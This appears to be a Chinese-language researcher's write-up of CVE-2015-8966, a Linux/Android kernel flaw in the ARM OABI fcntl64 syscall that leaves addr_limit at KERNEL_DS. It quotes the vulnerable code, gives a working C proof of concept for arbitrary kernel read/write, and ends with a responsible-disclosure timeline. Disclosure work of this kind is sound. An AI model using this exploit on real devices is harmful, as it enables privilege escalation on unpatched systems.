##0x0前言
這個漏洞大概是在去年11月中旬無意在內核源碼中發現的,原理十分簡單(看起來非常像一個後門...)
##0x1分析
漏洞存在於arm平台legacysyscallfcntl64:
asmlinkagelongsys_oabi_fcntl64(unsignedintfd,unsignedintcmd,
unsignedlongarg){
structoabi_flock64user;
structflock64kernel;
mm_segment_tfs=USER_DS;/*initializedtokillawarning*/
unsignedlonglocal_arg=arg;
intret;
switch(cmd){
caseF_OFD_GETLK:
caseF_OFD_SETLK:
caseF_OFD_SETLKW:
caseF_GETLK64:
caseF_SETLK64:
caseF_SETLKW64:
if(copy_from_user(&user,(structoabi_flock64__user*)arg,
sizeof(user)))
return-EFAULT;
kernel.l_type=user.l_type;
kernel.l_whence=user.l_whence;
kernel.l_start=user.l_start;
kernel.l_len=user.l_len;
kernel.l_pid=user.l_pid;
local_arg=(unsignedlong)&kernel;
fs=get_fs();
set_fs(KERNEL_DS);//[1]
}
ret=sys_fcntl64(fd,cmd,local_arg);
switch(cmd){
caseF_GETLK64:
if(!ret){
...
}
caseF_SETLK64:
caseF_SETLKW64:
set_fs(fs);//[2]
}
returnret;
這個syscall的設計是:
1.准備參數,設置當前進程為addr_limit:KERNEL_DS
2.調用真正實現的函數sys_fcntl64
3.返回結果,恢復當前進程的addr_limit:USER_DS
在[1]部分,將當前進程addr_limit設置為KERNEL_DS,該標示能夠讓進程獲得內核的任意讀寫權限。
在[2]部分恢復時,只有某些command類型才恢復addr_limit。
##0x2利用
之所以說看起來像後門,是因為一行ioctl代碼就能獲取任意內核讀寫權限。
獲取任意內核讀寫權限poc:
__attribute__((naked))longsys_oabi_fcntl64(unsignedintfd,unsignedintcmd,unsignedlongarg){
__asm__volatile(
"swi0x9000DD\n"
"movpc,lr\n"
:
:
:
);
}
#defineF_OFD_GETLK36
#defineF_OFD_SETLK37
#defineF_OFD_SETLKW38
intmain(intargc,charconst*argv[]){
intfd=open("/proc/cpuinfo",O_RDONLY);
structflock*map_base=0;
if(fd==-1){
perror("open");
return-1;
}
map_base=(structflock*)mmap(NULL,0x1000,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
if(map_base==(void*)-1){
perror("mmap");
goto_done;
}
printf("map_base%p\n",map_base);
memset(map_base,0,0x1000);
map_base->l_start=SEEK_SET;
if(sys_oabi_fcntl64(fd,F_OFD_GETLK,(long)map_base)){
perror("sys_oabi_fcntl64");
}
//Arbitrarykernelread/writetest
if(try_to_read_kernel()){
printf("pwnned!\n");
}
munmap(map_base,0x1000);
_done:
close(fd);
return0;
}
##0x3結尾
這個漏洞影響內核版本:3.15-4.3,安卓平台影響3.18。
現階段支持oabi的設備越來越少,雖然這個漏洞看起來很不錯,但實際能用的地方並不多,這也是我提交的原因之一。
Btw,這個CVE-2015-8966我並不知道怎麼來的,google給的issue是:AndroidID-31435731。
##0x4Timeline
2016.09.10提交給KernelSecurity
2016.09.15Kernel確認影響內核版本,將在下一輪的穩定內核版本中修復
---------------------------------------------------------
2016.09.10在goldfish3.18驗證後提交給google
2016.09.12谷歌反饋,設置Critical
2016.10.04谷歌確認不影響當前任何谷歌設備
2016.12.05AndroidSecurityBulletin-December2016